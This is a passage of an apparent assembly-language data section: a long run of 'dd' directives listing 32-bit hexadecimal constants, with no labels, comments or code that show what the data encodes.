0C4543A01h, 40C016A4h dd 0EDEFE930h, 0E87D3798h, 0D0AB3B2Fh, 0EA24A123h, 0E1A86613h dd 0E400DA1Ah, 1C1F6486h, 284B4859h, 6707CBFh, 0F36BA183h dd 76131086h, 21032573h, 0C2A21FC8h, 5508834Bh, 0AFD100B3h dd 0FE46E811h, 0B60E573Dh, 655DB5BFh, 0C4C4B771h, 2BF04F80h dd 903700C1h, 7377FBB8h, 5E1DF65Fh, 85809FCEh, 7E6CE0ECh dd 31B91E65h, 0D24C00BBh, 0D358899h, 0BF801401h, 12ED7BB3h dd 88EC9024h, 0F9FAE1D5h, 5172DFF6h, 9961021Ch, 4104E242h dd 44804615h, 0CE00A3C4h, 3FE496A6h, 0CAEFB2h, 322522A5h dd 1AD26E63h, 4679DB02h, 0A88818h, 3FF1947Fh, 0B4E7F400h dd 37265E6Bh, 0DF51C1B6h, 0D81C0165h, 0A8A0E924h, 0E788937Eh dd 8D700D9Eh, 0F0B16996h, 0DF000610h, 0E33933B6h, 0E2770FE1h dd 11F30195h, 14AA969Bh, 0F9169589h, 0E1F404B0h, 0C8C1003h dd 0E67E30ADh, 9384B632h, 0A8BE6C03h, 0D3046077h, 7D43E017h dd 426092D0h, 91830E7Fh, 929682A8h, 9804C862h, 0B369C3C2h dd 5C0FCDCAh, 0C0C32002h, 4430A3FFh, 8DDC0009h, 0BF3B6492h dd 1E671C7Bh, 0F291B4E1h, 2CFC9FEDh, 0BE7088h, 1A5FF00Bh dd 31BBDAAAh, 8048E33Eh, 36110866h, 118E7F0Dh, 2FE99A5h dd 0AAF42609h, 0C9C0C05Fh, 0EC9897h, 0D3CDE58Fh, 0DB439F31h dd 0E96DED00h, 87FB69AFh, 0D68D00F5h, 0F99A81ACh, 921FBA5Fh dd 760CDED5h, 488D08E5h, 564C9516h, 0DD330500h, 789A1FF0h dd 0AB34AA00h, 0C3945F86h, 0E5B500A9h, 0EDD21855h, 49CF917Bh dd 57B6E09Ch, 0C3B32C77h, 0F768E550h, 0ED7C20A6h, 6269E760h dd 4E583Bh, 0DF8A1324h, 0BFA04F3Ah, 5A3FC407h, 0B6700941h dd 0AB69E491h, 44E0C720h, 0EEDD6DFAh, 60A0507Eh, 0DF0388E3h dd 0A9E75500h, 0C580A83Dh, 0E67703F6h, 8E02C84Bh, 130F3000h dd 0A817D31Ch, 6F570034h, 79A9814Fh, 0ED0EBB4Bh, 9ED695D5h dd 58D9470Ch, 1D570082h, 888038A0h, 8CE91305h, 8EFBE71h dd 0A0A400D5h, 5B3C0EC5h, 0E500EA42h, 9E86AFF9h, 387345BDh dd 0DAB04D5Ah, 81DCD639h, 61F9CA14h, 2F5875C4h, 0F320EFFh dd 4FBE475Dh, 5FF582E0h, 0E0420FBFh, 0C05C55B7h, 0CD6F76E4h dd 56ECD018h, 0C600C878h, 0DC7F34A7h, 2E0269D1h, 3E6758B2h dd 8171E6B0h, 591C19EFh, 8403D6AEh, 947DFBB3h, 0C4C700BBh dd 5527D706h, 0DF2A0774h, 9A1FAC98h, 304501BFh, 0F90E4611h dd 0EA5EE062h, 7F5DF32h, 0A902F116h, 51B7A077h, 6A7A3BEEh dd 3FC81805h, 0D022E6DFh, 3C8020E9h, 1600E70Dh, 8CDCFFD9h dd 54FE1CF3h, 0FC62AAD1h, 0CDBF0C9Fh, 0ED08BD0Fh, 9D308348h dd 0A63FCE87h, 86902680h, 0E6B7004Eh, 5ECB7F75h, 56042FBFh dd 9D964BD0h, 0D97637C0h, 98C960E2h, 0BE627997h, 13D8EA52h dd 88BCA3A9h, 12CD4709h, 369E6880h, 3C39F657h, 5E8D802Eh dd 649D19E3h, 7839D4EBh, 620C9421h, 16119DFh, 0BF0787B3h dd 0F4E48EFDh, 28D28FA7h, 80D6300Ah, 5E30CD80h, 150D72Ch dd 0C096E821h, 0FC94E4F9h, 1300CB46h, 405BE560h, 2852EAAh dd 0BFDD5FADh, 98806650h, 7D77BDCCh, 6E998600h, 55D90738h dd 6AC7010Fh, 5FEBDA59h, 0BCD040E8h, 0A53D16F6h, 92110138h dd 0DD75CBAAh, 3412908Ch, 0EE1835B9h, 0E4D1907Dh, 703F482Dh dd 0F2448478h, 0FF54001Bh, 3E398E98h, 0B800BF99h, 0CCCD767Ch dd 1C10AB3Ch, 4040D5A8h, 0A1721B57h, 0DD1274C8h, 0E040FFC7h dd 0E6D84473h, 0A33F0F6Eh, 0A9819FD6h, 8CA57DEDh, 79E87671h dd 0FB350179h dd 5791A7E7h, 99E2600Eh, 9DF81600h, 10372D0Bh, 0C14F8EFh dd 1B12056Fh, 3E75D1D1h, 1E9C44h, 2D1DC97Eh, 60F4D8D9h dd 99C1850Fh, 0C769C1ACh, 0FBDD27EFh, 5576A180h, 0CEF04274h dd 0B4B5D628h, 0D42F0880h, 0D73FDF19h, 710E4A9h, 8900800Dh dd 937F3D5Bh, 9C6E58h, 799A479Dh, 77EE2686h, 14003A49h dd 0B62789h, 76019E0Eh, 248F047Fh, 1588EB5h, 69E538EEh dd 55543410h, 806C774Ch, 5DDA7A63h, 0B64500ECh, 9D6CD6Bh dd 0EE222553h, 48F5767Ch, 9725860h, 5377C45Eh, 0A4563890h dd 7CE9FA60h, 4C3AF9BAh, 9A80A0DFh, 696724E7h, 230A3F00h dd 4A75A26Ah, 0D6F90041h, 8918D7A5h, 31DF97DFh, 0E2CEAB01h dd 37D8640Dh, 80BE18BBh, 0DE3E60F6h, 7529A260h, 0EEE758h dd 0C8BF2070h, 83F87B5Fh, 7A301800h, 3C7D3FE9h, 0B40F03A9h dd 0DE78BA24h, 80A1DFC1h, 84925141h, 389C64h, 55401021h dd 2A4B0114h, 0BBEEA01Eh, 8D571780h, 5C4E030Ah, 0F530630Fh dd 36EE5689h, 0EFD06A1Dh, 0C308912h, 3FEC045h, 0E14D10EDh dd 0E0BFAA1Fh, 5EF4B19Eh, 0BF8D751Fh, 31C67ACCh, 9C590386h dd 0E5BD63C2h, 0F60C6FC7h, 8300D369h, 0DCAF802Bh, 4CDDCE95h dd 0E62118C9h, 808F7D08h, 0FACB5985h, 207E116h, 2E5E4F7Eh dd 60E4E681h, 0F1007462h, 20A05A19h, 0D613DD6Eh, 0E4201A05h dd 0C7FDC735h, 602CF229h, 8858C48Fh, 0E8563D30h, 95CB031h dd 0B712C5EAh, 861F0080h, 0A2EACDBh, 0D0393C75h, 0E5528248h dd 90E1143Ch, 0A4E381A0h, 0A320ADBAh, 8E031D66h, 39ED0A22h dd 71E06FD0h, 5F145A4Dh, 58B9A20Eh, 0B22FE0EBh, 24EF948h dd 0A14CAC3Ch, 2464579Dh, 1394D0A1h, 19FAC84Dh, 0E8CF58C2h dd 82156453h, 0C30134DAh, 0BAF40B48h, 8FD8CC30h, 0F8BB1000h dd 5D71DA33h, 20781C85h, 0F6AC4047h, 0C796F2C6h, 50EFA3Bh dd 0CF40E44Fh, 4B554782h, 37883CE0h, 441CA2A2h, 0C8401F2Bh dd 0B4FF60F0h, 4A0C0E89h, 770012C6h, 0F5A458A9h, 0D86EBFEAh dd 49E48C40h, 29FF0007h, 17E7C3B6h, 1150AB8Ah, 0A60C7DCh dd 6F3743D1h, 0C3E60353h, 506BE5FBh, 0B83E4BB8h, 68217F00h dd 76FF80D5h, 5D8917Ah, 0C419F35Eh, 9558005Dh, 24328CD2h dd 0C11EF67Fh, 4F80903Eh, 0E56A307Fh, 438A063h, 0C1C9910h dd 6341E7BEh, 0C1B05700h, 0EB81B5AFh, 8E5E13C9h, 769C0E55h dd 88C3317Bh, 1EDD4F8h, 38AF4500h, 5B9CF649h, 0C749CBF0h dd 40F1A490h, 87997700h, 247AB642h, 0F27407DAh, 0F8FF43F4h dd 81453507h, 0DD2A9410h, 400324FAh, 9E3B03CCh, 9DA0D96Dh dd 377C82AFh, 2E23F50Ch, 49C739F7h, 0E0004CFEh, 3F0836A8h dd 0C315C583h, 5DC93DFh, 0B3E0221h, 3E68AB86h, 2A053754h dd 0C2622FB2h, 0C444BEACh, 689F7F0Eh, 0A0009273h, 1B81D3D8h dd 0D604163Eh, 0FED80F95h, 0D70E1191h, 4940350Eh, 1731D220h dd 0DF009CE7h, 9A247D46h, 2630A6F7h, 242760h, 0FF4F26A0h dd 769876E0h, 97222C02h, 52B030CEh, 0A68E01B4h, 56B20A69h dd 48C832A3h, 0FE5BC098h, 1DDBB11Fh, 0A618828Eh, 0A42D004Fh dd 0BF5D5C74h, 0B4A7703h, 906C5F8Ah, 7BE5B5B3h, 0A48D30EAh dd 28C7CFB0h, 0A159BA64h, 8AEDB640h, 5005FF2h, 5235D05Ah dd 0B538CDB2h, 110EFE50h, 20EE6647h, 0F78369CEh, 0FDBE0AFAh dd 8084E076h, 944E1160h, 750F15C5h, 855EDCAEh, 388056BFh dd 0E4703910h, 9A283EE7h, 2A00CE5Ch, 58405977h, 56000896h dd 0D90A36C2h, 7976EEh, 5A64F194h, 9D51B7FFh, 0C8985E4Ch dd 0E886467Ah, 50BCBE4Dh, 418AE16Ch, 0C617FC98h, 74983117h dd 0E21744ECh, 64082B19h, 0C0CA9EC1h, 2AD90677h, 5A2C9D24h dd 0C79458BEh, 0FB077D24h, 0FD7BF64h, 91E8F6h, 13BB833Dh dd 4F5D6354h, 0E1427D00h, 1746A25Eh, 0BC670BADh, 0F40630E6h dd 9C4889A3h, 0C7416772h, 0F9982009h, 0C0BB55h, 485AEA34h dd 9A297023h, 6BF640A0h, 19FB6116h, 1C76461h, 98254180h dd 0A2C1E993h, 0D7ED1400h, 7B6A22A7h, 0D840EFABh, 0A1F7579Ch dd 0F210091Ch, 84005530h, 70B7BF9Dh, 774F43Ah, 0A2EDCB2Ch dd 4AA79024h, 9D60DE3Fh, 0E09513C1h, 0A6AC0097h, 0BC509FD7h dd 0C700E981h, 58775676h, 5220E19h, 5C3F30FCh, 303DC54Dh dd 0F7889764h, 0A106D100h, 84ED9DB1h, 0FFB307B4h, 777EBF35h dd 0E89EA099h, 0DF264036h, 2BD7CADh, 1105828Bh, 0C8BD24E4h dd 1F00E860h, 57ACEC62h, 9784723h, 0CB56EF55h, 927EA410h dd 5FF926h, 0DBF08300h, 6033D6h, 0C4E83CECh, 69E4EE3Eh dd 4D5B18A0h, 0D284F437h, 0A400387Ah, 24D2E8D4h, 954501A0h dd 385CB357h, 94EED440h, 3FFA9E09h, 0CD8498DDh, 0EAC900D2h dd 200CB0CFh, 0FB90881Eh, 604C577Eh, 0E81128E4h, 4072EFh dd 26B523Fh, 1918F80h, 5FCB946Ch, 0F85190D8h, 0D9601905h dd 0AE9A3B91h, 50606078h, 5C3E9EBFh, 14C34C08h, 0D2204EDFh dd 51BD32BAh, 0C4F1FA01h, 33296A86h, 0EA240C8h, 4DF128Ah dd 91E02D64h, 10F762A0h, 1E02CAF1h, 0C7579EEh, 0D30F5DDh dd 8E610573h, 261ACA89h, 5C28E460h, 9E886CFBh, 0CC237692h dd 1BCAB021h, 0C96A0019h, 912FC702h, 22FF5C9Dh, 7224Ch dd 2F72307Dh, 0B0500A05h, 8195A200h, 609041BBh, 0CA5E0140h dd 297BEE0Eh, 879889D4h, 2ECE80E5h, 0FCE897Fh, 5798C06Bh dd 0D500830Fh, 0E4E3BB23h, 1001B437h, 0DE178EC1h, 0B9353180h dd 0CD94F06Eh, 0BEEB1F0Ch, 1D5183Bh, 0B8EC10CEh, 0CCB74C53h dd 2900499Ch, 98DE6B57h, 0C07E8A59h, 0EABB2428h, 4562B0E4h dd 0E0782EC4h, 3C053E31h, 7E06D4D3h, 59465899h, 89911730h dd 977AC9h, 0C4487622h, 0F454B173h, 0F10A461Dh, 8DAFBF40h dd 0A01918CEh, 6093E02Ch, 712F4930h, 0BA30E4E8h, 98DF5186h dd 0CF2A008Ch, 716836E7h, 0AA545999h, 0D41C2684h, 4980F246h dd 64B01AF5h, 0E6EEAFEh, 37C34A8Bh, 8E2D6F00h, 56039A67h dd 0DDC9801Ch, 3373A02Eh, 9768308Fh, 6F8B7F68h, 0CB11D003h dd 90EDD852h, 0C94FD17h, 81B1E521h, 63030A91h, 0BB686037h dd 0CF0800A2h, 81DF185Ch, 0AD192390h, 9B58FB20h, 7A463510h dd 61459600h, 281A70FAh, 498700A2h, 0F7B6D84Ah, 7D54CEBEh dd 531D04BCh, 8DD4B2E5h, 35578580h, 43D9043h, 7259158Ah dd 0D000F8DDh, 1683454Ch, 0EB002B9Ch, 8A1CE462h, 318E36B5h dd 0BE29E913h, 0E549803Dh, 0EA55EFEEh, 60E00331h, 6477A7A4h dd 0E0DC4881h, 0A14A33Bh, 88F0339Ah, 19298092h, 0B1080FBDh dd 0F94E0900h, 27B26611h, 0EC4A0B98h, 8B50A4EDh, 8E295D00h dd 0B1E4E9DAh, 3841C784h, 0A506C042h, 9000D43Bh, 2F54ECE7h dd 1FF2127Fh, 353252h, 0A87CFFFAh, 8E3062EFh, 854C10D3h dd 0E55700B7h, 86F4DDCDh, 52E09536h, 7727A103h, 808FD1EBh dd 14093C7Ah, 9CBE9694h, 0DCFB5580h, 20037DBh, 0C6EA28EBh dd 33E69Ah, 583162A8h, 76970B78h, 0DA18907Ch, 46B18F17h dd 18990082h, 0C35BF05Ch, 0D9018D0Ah, 7F41424Ch, 57ED762Fh dd 318A80F9h, 80D09968h, 27ECFEA5h, 4171F4ADh, 6EB34207h dd 58E707D0h, 437D5100h, 0FEC10E60h, 74C0D1FDh, 0CCAF138Bh dd 90EE0170h, 2C09BD00h, 98D905FFh, 0C8435256h, 3C038E22h dd 9CDB1CF7h, 3D2FE70Ah, 0F37A45C0h, 0B085E653h, 63602B28h dd 13D86E8h, 987FA996h, 8A0C3554h, 7A7C88h, 7440D22Bh dd 0D988C6F5h, 0FF6AE3Ah dd 3FE5773h, 3D851831h, 0D1817889h, 632D3D21h, 184022C4h dd 2519368h, 0B7C81FBBh, 3EADC991h, 40B47E81h, 0DF288BAAh dd 0EC83D585h, 4F037E7h, 0B330E54Ah, 997761EFh, 54455162h dd 7259CEB1h, 687024E1h, 817F801h, 0B88EC7E8h, 4FD46A31h dd 8688005Bh, 7775DD69h, 1043E7Fh, 8FAA2426h, 0E50530D0h dd 90A90114h, 5C8B88E0h, 173093A8h, 0A4554420h, 0F0A90143h dd 4BC7330h, 8612E872h, 0B6227090h, 77FF0182h, 98E7F57h dd 349980D6h, 0E55A7E90h, 0D8874CBBh, 844AD8C8h, 8333B808h dd 9D6852EAh, 0F41E148h, 3F7677F9h, 0BE17AB0Fh, 30F4CACh dd 0FB4203F3h, 3660003Dh, 0CEEB46B9h, 99793FB4h, 90181648h dd 0CC38003Ch, 0E908F75Dh, 0A4D0026h, 5F4E430Fh, 1CA1CD91h dd 452A10A6h, 362F300Fh, 0FF8F2120h, 3E9D7506h, 13A18C0Bh dd 30902FDBh, 2AFDCCA4h, 0C7060C00h, 4A94E92h, 135B888h dd 639B183Dh, 23033EAFh, 90552140h, 0C8C49107h, 0BB68091h dd 79BC2FE3h, 5300DA75h, 0E6C1ACF5h, 13C89A5h, 0B4636D72h dd 20B90967h, 92889840h, 32CE0081h, 3B414926h, 5B00CAFEh dd 2EBD1517h, 493E834Fh, 0B7043869h, 0C035AD93h, 0B8514A30h dd 2E7ED214h, 8480C8E4h, 40DD737Bh, 0FA449939h, 0F9C5011Fh dd 43E960Eh, 35E911AFh, 906936E0h, 0A3682470h, 0EA728C10h dd 46005C41h, 0FD4CE397h, 0F1996Fh, 0B940AC0Ah, 8001D91Ah dd 3568B803h, 9A47B45Fh, 99C40BDh, 8E180CAFh, 5549D90Dh dd 0EA991605h, 0AC4041BEh, 5F8D5096h, 270A1DEDh, 937A82BDh dd 6A431E43h, 0DB8EE1E0h, 18115E38h, 5849DA4Ch, 10832419h dd 12BE3F48h, 80E89174h, 5934AC30h, 0B907A18Bh, 0AEE50EC0h dd 11701079h, 0B5E488DCh, 0CF0189DFh, 8334B612h, 72021183h dd 0ADC0B5DAh, 0B350B831h, 0F8A418BCh, 0B636FC00h, 2ABD3B0Eh dd 0B24A0303h, 0B922F129h, 1CF4CBA8h, 93FE5600h, 0AFB462EAh dd 7BFCA004h, 3EA60A89h, 43C0A302h, 89003FBEh, 8B2B4638h dd 13739Eh, 8479F799h, 0FD36EBEAh, 91E2341Dh, 8EEEE0C0h dd 922F070Eh, 8A1830D4h, 0DC76CA99h, 0B87BA100h, 0BF91CCC1h dd 83E1854h, 9C43718Fh, 0AA6E3901h, 0AB682736h, 0BF811986h dd 0BC1E8937h, 3947242Bh, 0B8B088A6h, 0B8F1ADC3h, 147768Eh dd 2E9C22CBh, 70DC3FB0h, 0EA267FD7h, 6E60BC36h, 9028C6Bh dd 2B98C7F0h, 325D6883h, 0A946103h, 0D1E73C7Bh, 783036F3h dd 80149472h, 1E8064D2h, 1C325C68h, 278758B3h, 6A9090E8h dd 0EE0E849Eh, 0C0170AECh, 0E4916604h, 916499B3h, 0F4D68B14h dd 70461F54h, 33C50AF1h, 0AABBB588h, 0CAF804F4h, 0A95EC0D2h dd 8B5404B0h, 267A2840h, 41DA862h, 0D6CEE1E2h, 0EFE0A32Fh dd 0EAF6C08Eh, 0FC9A203Dh, 0AD9BB702h, 0C208FA5Eh, 74ECCCE8h dd 21420012h, 0A073F50Fh, 0EC00AF82h, 1556ADE9h, 2B33A2Eh dd 5985E04Fh, 0C068831Bh, 8A88C639h, 81320397h, 9018CAE3h dd 0CD8FA100h, 46E1A2C1h, 97B400BBh, 9BED0AA1h, 5AE62C06h dd 0B7868919h, 6C20AFD9h, 60AA0046h, 38802FCDh, 100050FBh dd 889FBAC2h, 0E43BEA74h, 28F77CBh, 6B12E01Eh, 80608724h dd 7E17FF8Eh, 0C421180Fh, 7D20397Fh, 62D8B52Ah, 9625B100h dd 78E8CAE7h, 0ADAA3FE9h, 249024h, 0EF135065h, 810E1596h dd 37C44Ah, 207DDD80h, 0FD5C2ED5h, 25D1D64h, 0AFDB7840h dd 8A00B5C3h, 8DC58B79h, 0B1AD3FDFh, 1BCB8024h, 43A72FF4h dd 68FA180Ch, 2F79990h, 0C59AEB5Ch, 0A8C08DD1h, 0A043B46h dd 43AFF99Eh, 0B810C88h, 0BDF8C45Fh, 15770082h, 12D13060h dd 41B0B812h, 19982032h, 73E0093h, 0DE21DF92h, 8E016258h dd 0F48BE9E0h, 0F041EFDFh, 0D060DB55h, 0EAE0887Fh, 8EA3D438h dd 0AB3360ADh, 188C8A0Ch, 64C6DF60h, 0B6181CECh, 0AF650010h dd 0E55991AEh, 217033F3h, 96B09013h, 311E409h, 88FEAE38h dd 9DB2D9h, 779CBA34h, 5AC57853h, 0ECB3A828h, 0C044B8B0h dd 0B411097Eh, 0DC409274h, 3588FF0Ch, 4E574CBAh, 0B43E8F00h dd 9A6970Dh, 0E059A706h, 2290DA4Bh, 0F894E715h, 0C2E81740h dd 8AFD04E4h, 0C17DEAB8h, 918FE188h, 0E40AE230h, 86C85BAh dd 9C94D60Fh, 0E00A7C90h, 0D0888D8Fh, 0F98E0738h, 80FBB4F1h dd 99ADABD8h, 0FEF3256Fh, 0A140B810h, 29C88800h, 531A515Bh dd 3C0B0083h, 8FDBFC1Dh, 87A0E5B1h, 0AD17D360h, 980888DDh dd 0B1E486F4h, 84B19197h, 0B96F7080h, 0BA3036Bh, 8666BA5Fh dd 0A4154280h, 0F20C4D2Eh, 60D4528Dh, 0B789C034h, 175EE454h dd 6382DC02h, 50D867BCh, 73410738h, 30C92A55h, 0D4EB7CF0h dd 0C018105Ch, 1FE48DF3h, 0E7FC0079h, 0DF670CEh, 8150A47Bh dd 0EF440CA0h, 87CC94BEh, 45A731h, 9578EEA5h, 2D5F7000h dd 3B633DBh, 7B180246h, 3980D786h, 0C7E874E4h, 83A822Ah dd 8BB9A83Ch, 848F2FE4h, 1140E230h, 0C85A5F87h, 320071FCh dd 4BEA501Dh, 17686B37h, 40925999h, 0AE58E4Ch, 9B4887B5h dd 0B7060184h, 676B36E1h, 86AE2890h, 0EA40850Ah, 0C061F898h dd 56BB26C9h, 3F34B2E5h, 0FCCC988Bh, 12B6000Ah, 14FA2FA1h dd 1AEE72ACh, 0C62040B8h, 90D10530h, 99364D7Bh, 18888088h dd 4E863A79h, 27D900E0h, 0E6E5EBE9h, 0F7053746h, 0BA974031h dd 7980E5C0h, 0D7472660h, 0EF8180CCh, 3FA3435Eh, 724FC601h dd 0DF282FF0h, 78FB5987h, 0EBAA1FE5h, 98FF02EBh, 6878E75Ah dd 0CB3A8F03h, 48E8E9E2h, 429E1818h, 0B02BEAFCh, 0A2AED060h dd 0C6966F30h, 1FDF2237h, 80EC60h, 0B64B5726h, 0BE3BC733h dd 2B800D4h, 0B290D603h, 42601772h, 0AF009E2h, 0E3715810h dd 0F18FDCA8h, 0C0F69800h, 643F652Bh, 43CD135Dh, 0DB9000FEh dd 93289725h, 0D702D878h, 8E5179AEh, 9DEBC0B0h, 3CE007h dd 8403EC62h, 0DDB982B4h, 98135C07h, 30558087h, 78F308CCh dd 0E7B60011h, 5BAF35B4h, 280A6094h, 7C8EDAE0h, 8D702F00h dd 0B08BB9EEh, 83F32C84h, 21F064E8h, 643D6727h, 0EAA1450h dd 55CA5F83h, 28A26860h, 0B571C79Dh, 82507D25h, 0D62504h dd 65B03BE9h, 9516E400h, 90393437h, 0E611318Eh, 833ABE61h dd 1529D091h, 8DEE91Fh, 7C18FB70h, 80A5015Ah, 252F214h dd 78C2834Eh, 0C090A915h, 283ED185h, 4C384A03h, 0B0807CBDh dd 991A6FECh, 8E7BA400h, 59F8841Ch, 489C00EEh, 0EAD756C4h dd 6F05B825h, 83BA9913h, 0F2788470h, 5E5F40F6h, 415A8498h dd 1ED6C840h, 582DA182h, 0DB30B028h, 5EF25619h, 8A3E0801h dd 1A577C80h, 78DD0842h, 0CC14FB84h, 8FA9298h, 54D31924h dd 0DAE83A3Eh, 3060B004h, 3F8E2A41h, 0D74E034h, 745DC13Ch dd 702D1F24h, 0BC20BF13h, 0F4F1246Dh, 88CA503Fh, 0ECA4883Ch dd 3DAB1B00h, 0B30DAF57h, 0B544136Eh, 9F140345h, 0CAAA77FAh dd 99A2E086h, 740014B9h, 1476926Fh, 61830064h, 8780AD56h dd 8674B3E5h, 737730C1h, 91912BA7h, 0B226013Bh, 97128BBAh dd 0BE77033Ah, 0ACBA8031h, 0E508B8C9h, 8B8460F9h, 0FCCE8288h dd 218A62E8h, 0FC0F996h, 0BF83788h, 0A619E367h, 0A82017C5h dd 3C6BBA11h, 0C4012D0Fh, 7A7BF82Ah, 90A63197h, 8D22C631h dd 3A739300h, 35582BB1h, 78D6003Bh, 4B03C9CDh, 0E0B4EF07h dd 0B7A0C40h, 31870B94h, 6A00EA1Eh, 0EE063DC4h, 288EB704h dd 0C8F41882h, 4C400049h, 0D018C52h, 600A4A6h, 890B6C7Bh dd 0B96BB012h, 1342E6Ch dd 225E5007h, 0B51020D9h, 0E8607CB1h, 0FC1237A1h, 0D9DC0694h dd 5A65A073h, 0B132CE00h, 9184069h, 9537006Dh, 1F8CDCD0h dd 31128307h, 0E7014A4Fh, 4684FF2Bh, 40B19820h, 0C49172DBh dd 662A7107h, 60D23170h, 154158ACh, 395DCE01h, 62CB8565h dd 80561010h, 0D9893D28h, 0D2B8B8A1h, 6BD4402Bh, 8AC38068h dd 9E0E31C4h, 80FC3025h, 8CE45D38h, 5080FCA3h, 60069FEFh dd 0C0C5E029h, 0E55422B0h, 0FCB7E844h, 91B40021h, 18EFBFDBh dd 0F000347Dh, 0A328FD43h, 58BB888Fh, 6512606Ch, 0DD54D28Dh dd 71AEE422h, 0B7C60CE0h, 0E6495868h, 804CC07Ch, 114CBE5h dd 0D498919Bh, 36E8A363h, 84682914h, 0E1CAF00h, 0FE604DCh dd 0B299163Bh, 302C0496h, 2C7CA2B0h, 5A40E872h, 570D41h dd 9E051555h, 9A222C8Eh, 0DC07C0B6h, 4D04125Eh, 0F220C8E2h dd 56E901E7h, 9DFFEC0h, 168E39F1h, 2660C468h, 0A14E009h dd 90C86553h, 98A3A49Dh, 0A46FC700h, 1EB8A520h, 0FCD42200h dd 949648EDh, 0E1C40144h, 73428FF8h, 8C7180E4h, 3A61D61Eh dd 868301A7h, 0E8E27016h, 0C0AC2820h, 0CBE062Ah, 3B2638E7h dd 0A704E200h, 0B49CCBA8h, 0BD601709h, 4A444436h, 0C0682818h dd 5D62F49Eh, 1E8240CAh, 0A8FF4C3Eh, 0C85F9884h, 0D037279Ch dd 0FF8F19F1h, 0EF147002h, 8D1CE087h, 0A130590h, 0E01CA6h dd 726FEA8h, 0E53B6672h, 0D05FAC42h, 83E62809h, 0FA2ECD41h dd 72AC4088h, 80FCB9E4h, 63E99EE8h, 3601B922h, 0DBFBC6FDh dd 2720FF5Ch, 461F6C4h, 7AAF28C7h, 559CC10Ah, 0DE98888h dd 2100A4E2h, 2010AD80h, 7E61E826h, 2F578019h, 8D80903Ch dd 0DF40C659h, 0AC5FC900h, 0E46C58E3h, 8226013Dh, 60BBA94Fh dd 298921B4h, 1D7222Ch, 1314BAD1h, 61860EE9h, 0EB52E0D8h dd 0EC012B4Ah, 9A8CAC30h, 7E3D85D0h, 903C04E5h, 0A28DC88Ah dd 0D85A0094h, 6362E8F7h, 0FFDA03A6h, 0B5F265D3h, 94388FA0h dd 88428E17h, 8B0DD405h, 0E784AEC1h, 0E6040C29h, 8CDC19D6h dd 60042F0h, 0ABBA7413h, 0FAE1867Dh, 0FCB00C2h, 0D25F17F5h dd 4248D0D7h, 0F0568078h, 52A941Ch, 577A809Fh, 82080218h dd 70412EA2h, 8851196h, 0B070E7E9h, 77DE000Fh, 0EAD004F1h dd 0C099BDE4h, 50B65860h, 57904Dh, 0E72724CCh, 0C257BAD9h dd 76F86C79h, 610C6478h, 4189B0E5h, 0AFC5057Bh, 906B053Eh dd 0ED2C86E8h, 0DCBD341Dh, 0CB7CA8CEh, 992E0058h, 690B2E4h dd 680A8F25h, 0EB7F5E3Ch, 20A489Eh, 27BD53h, 8CC0B248h dd 8080BC68h, 0DF1B1895h, 0E500411Eh, 0E847FEF4h, 7D329B2h dd 82EFB4F3h, 8C34D524h, 83001FCCh, 0C21BC9EDh, 116DB15h dd 60C1D807h, 8A98BB57h, 0B0DF7308h, 979D3D80h, 7A14044h dd 0DA9AA207h, 0E9272074h, 49F6ACBBh, 0F8CA3709h, 807B8BFAh dd 3E2E4FE0h, 8C88BE04h, 0B851E072h, 0E378D017h, 0AA8EF207h dd 0A4CCC364h, 54A00098h, 19623C08h, 42630ABh, 350154B8h dd 132D58B0h, 30EAEBE4h, 93D142BEh, 6B05CC46h, 487B5CF1h dd 94E4B500h, 399A14Ch, 0D25D739Fh, 9588A35Eh, 4A30BA35h dd 0AB6250EBh, 0C9AD047Ch, 402F5898h, 0B33F088Fh, 915F0C52h dd 381940BEh, 7F19313Ah, 0D6B7CA00h, 0CD6FDD06h, 1675058Ah dd 0C00A8344h, 6C088034h, 14F1572Ch, 1AC464Bh, 0E5A3435Ch dd 730A3ECEh, 30B0747Ch, 9958E420h, 31068014h, 0C22115E8h dd 0FBDD1B01h, 6172F173h, 8ADCA205h, 6813C56h, 788AF99Eh dd 203C9842h, 0EBF9373h, 0B069BD00h, 9B7DD9E3h, 90C055Bh dd 80BA374Fh, 60B8265Ch, 18970B2Ch, 8E40B140h, 0E578C95Ch dd 28F6588Eh, 9F2C0584h, 8F00C642h, 0DCC4814Ah, 0DD2A2E96h dd 65B760F8h, 2CA99C0Bh, 630245h, 68ED18CEh, 88108F89h dd 0A12CFE86h, 81C418A3h, 4111ED32h, 0C4116511h, 197C9766h dd 0B3C01007h, 40DF0D5Ah, 2CB5370Bh, 630920F2h, 6CC05E55h dd 615D00D4h, 8B98E0F5h, 218B23Dh, 55EACA09h, 1841FF28h dd 33D10B2h, 0C088B995h, 90A8408Eh, 0C10B7B00h, 12048A70h dd 0E14A0030h, 81D51F94h, 51E07E01h, 1A73410Bh, 434400BFh dd 0E055E2F7h, 96980F71h, 0F680E131h, 9FEEF868h, 400079E0h dd 0D705AFFAh, 2E81DE29h, 496CE928h, 733E0C61h, 228C4CBCh dd 8817303Dh, 0F72C9B29h, 2BB9D5Ch, 728E4947h, 98844A8Bh dd 3EF675B0h, 59803B3Eh, 0AB151ADCh, 60002DECh, 0FA45B62Ch dd 5256D6E3h, 0E52FC81Bh, 832F1887h, 0E1C0EFFEh, 88A08235h dd 34028DC6h, 0D0283738h, 0A68E080h, 0C210B696h, 80595798h dd 4748D603h, 0E008BB73h, 2460DF6h, 82A0AFCBh, 0E4D16B61h dd 60009C11h, 0A4277E0Ah, 85241E55h, 8E003BF6h, 0E7C84B0Bh dd 86C50066h, 43B573Eh, 0BD020AF8h, 3CE28B07h, 75B08076h dd 40A94930h, 0A001B2FEh, 0D8B442B0h, 5863C0B5h, 1978F100h dd 4A6AEE63h, 65EBA00h, 7012A20Fh, 0F6DD58F5h, 0B10ADF00h dd 0E88A58A1h, 81388503h, 0B8C7727Ah, 1604BA36h, 230F0793h dd 0FA9A50C4h, 5F1F08C0h, 1E44424Ch, 63059535h, 0B421B9E5h dd 0B2C8AA36h, 0D7372C3Ch, 108A16E4h, 0A054B227h, 93708891h dd 0AC05C777h, 4CB86E1Eh, 12B25883h, 0B4737729h, 9A3855A4h dd 0B3B48032h, 78EC41C4h, 0A8C3025Bh, 0D003013Eh, 0BF8268C0h dd 4890434Eh, 176E0F46h, 21916605h, 2B183530h, 0DFECA040h dd 1CEC3F1h, 0A94FD8Ch, 0F87F377Dh, 0F2285EE1h, 405FF8D7h dd 0EFDA0470h, 7DC00379h, 0E7125C49h, 8E4FA280h, 26733F5Ch dd 3663A007h, 38A3853Eh, 0A91A1F00h, 82FF90D1h, 25C3EF0h dd 0E57286ACh, 